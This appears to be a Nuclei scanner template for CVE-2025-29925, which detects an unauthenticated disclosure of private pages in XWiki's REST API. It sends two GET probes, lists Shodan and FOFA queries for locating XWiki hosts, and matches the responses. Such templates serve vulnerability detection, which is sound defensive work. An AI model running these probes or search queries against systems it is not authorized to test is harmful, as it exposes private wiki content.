XWiki REST API - Private Pages Disclosure

id: CVE-2025-29925

info:
  name: XWiki REST API - Private Pages Disclosure
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in XWiki's REST API allows unauthenticated users to access information about private pages through the pages endpoint. This could lead to disclosure of sensitive information and page metadata.
  impact: |
    Unauthenticated users can access private page information through the REST API pages endpoint, potentially exposing sensitive metadata and page content.
  remediation: |
    Upgrade to XWiki version that implements proper authorization checks for the REST API pages endpoint.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-285
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,rest-api,exposure,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}"

    payloads:
      path:
        - "rest/wikis/xwiki/pages?space="
        - "xwiki/rest/wikis/xwiki/pages?space="

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<pageSummary"
          - "<pages"
          - "<xwikiRelativeUr"
        condition: and

      - type: word
        part: header
        words:
          - "text/xml"
          - "text/javascript"

      - type: status
        status:
          - 200
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